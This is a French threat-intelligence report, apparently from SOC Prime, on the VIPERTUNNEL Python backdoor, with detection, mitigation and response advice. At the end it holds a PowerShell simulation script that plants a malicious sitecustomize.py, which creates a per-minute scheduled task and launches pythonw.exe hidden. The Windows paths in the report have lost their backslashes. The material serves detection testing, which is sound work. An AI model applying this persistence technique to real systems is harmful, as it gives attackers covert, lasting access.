SOC Prime Bias: Élevé

14 Apr 2026 15:38 UTC

Backdoor Python VIPERTUNNEL : Une Analyse Approfondie

Author Photo
SOC Prime Team linkedin icon Suivre
Backdoor Python VIPERTUNNEL : Une Analyse Approfondie
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport détaille l’analyse de VIPERTUNNEL, une porte dérobée basée sur Python qui atteint la persistance via une tâche planifiée et exploite un sitecustomize.py malveillant pour charger une DLL obfusquée. La DLL déchiffre et exécute une charge utile à plusieurs étapes qui établit un proxy SOCKS5 vers un serveur C2 codé en dur sur le port 443. L’infrastructure est liée à UNC2165 et EvilCorp et partage des techniques d’obfuscation avec le voleur d’identifiants ShadowCoil.

Enquête

Les chercheurs ont examiné la sortie d’Autoruns, identifié la tâche planifiée 523135538, et retracé l’exécution vers C:ProgramDatacp49spythonw.exe et son module sitecustomize.py. L’ingénierie inverse de b5yogiiy3c.dll a révélé des obfuscations en couches, des routines de déchiffrement, et une étape finale qui crée un tunnel SOCKS5 utilisant des identifiants codés en dur. L’analyse de l’infrastructure a lié plusieurs domaines et IPs à la campagne et a mis en évidence l’utilisation du cadre Pyramid C2.

Atténuation

Déployez la détection des points de terminaison qui surveille l’exécution de pythonw.exe sans arguments, la création de tâches planifiées avec des noms numériques, et la présence de sitecustomize.py à des emplacements inattendus. Bloquez le trafic sortant vers les domaines C2 connus et les ports 443/8000 avec des réponses HTTP 401 anormales. Mettez en œuvre un contrôle strict des applications pour empêcher le chargement de modules Python non autorisés.

Réponse

Alertez sur la création de la tâche planifiée suspecte et l’exécution de pythonw.exe sans script. Mettez en quarantaine les hôtes affectés, collectez les dumps de mémoire et recherchez les noms de classes caractéristiques et les identifiants codés en dur. Invalidez les identifiants compromis et perturbez l’infrastructure C2 identifiée dans le rapport.

Flux du’Attaque

Exécution de Simulation

Prérequis : Le Contrôle Préliminaire de Télémétrie & Baseline doit avoir réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le narratif DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.

  • Narrative & Commandes d’Attaque :

    L’adversaire dépose d’abord un sitecustomize.py malveillant sitecustomize.py dans le même répertoire que pythonw.exe. Python importe automatiquement sitecustomize.py au démarrage de l’interpréteur, permettant à l’attaquant d’exécuter du code arbitraire sans passer de chemin de script sur la ligne de commande. En lançant pythonw.exe sans aucun argument, l’événement de création de processus contient une CommandLine vide, satisfaisant les conditions de la règle Sigma. La charge utile établit une tâche planifiée pour la persistance, assurant que l’interpréteur s’exécute au démarrage du système, maintenant ainsi un point d’ancrage à long terme.

  • Script de Test de Régression :

    # -------------------------------------------------
    # Configurer sitecustomize.py malveillant
    # -------------------------------------------------
    $payloadPath = 'C:ProgramDatacp49ssitecustomize.py'
    $exePath     = 'C:ProgramDatacp49spythonw.exe'
    
    # Garantir l'existence du dossier cible
    New-Item -ItemType Directory -Path (Split-Path $exePath) -Force | Out-Null
    
    # Déployer une copie bénigne de pythonw.exe pour le test (si non déjà présent)
    # Dans un vrai scénario de red-team, ce serait l'interpréteur légitime
    if (-Not (Test-Path $exePath)) {
        # Copier depuis l'installation système de Python (ajuster le chemin si nécessaire)
        Copy-Item 'C:Python39pythonw.exe' $exePath
    }
    
    # Créer un sitecustomize.py malveillant (crée une tâche planifiée comme preuve de concept)
    @"
    import subprocess, sys
    # Créer une tâche planifiée qui exécute pythonw.exe chaque minute (persistance)
    subprocess.run(['schtasks', '/Create', '/SC', 'MINUTE', '/MO', '1',
                '/TN', 'UpdateTask', '/TR', sys.executable])
    "@ | Set-Content -Path $payloadPath -Encoding UTF8
    
    # -------------------------------------------------
    # Déclencher la détection (exécution malveillante)
    # -------------------------------------------------
    Write-Host '[+] Lancement de pythonw.exe avec une ligne de commande vide...'
    Start-Process -FilePath $exePath -ArgumentList '' -WindowStyle Hidden
    
    # Attendre un court moment pour que la tâche planifiée soit créée (facultatif)
    Start-Sleep -Seconds 5
    
    Write-Host '[+] Charge utile exécutée. Vérifiez votre SIEM pour l'alerte.'
    # -------------------------------------------------
    # Fin du script
    # -------------------------------------------------
  • Commandes de Nettoyage :

    # Supprimer le sitecustomize.py malveillant
    Remove-Item -Path 'C:ProgramDatacp49ssitecustomize.py' -Force -ErrorAction SilentlyContinue
    
    # Supprimer la tâche planifiée créée par la charge utile
    schtasks /Delete /TN UpdateTask /F
    
    # Éventuellement, supprimer la copie de pythonw.exe (si c'était une copie de test)
    # Remove-Item -Path 'C:ProgramDatacp49spythonw.exe' -Force
    
    Write-Host '[+] Nettoyage complet.'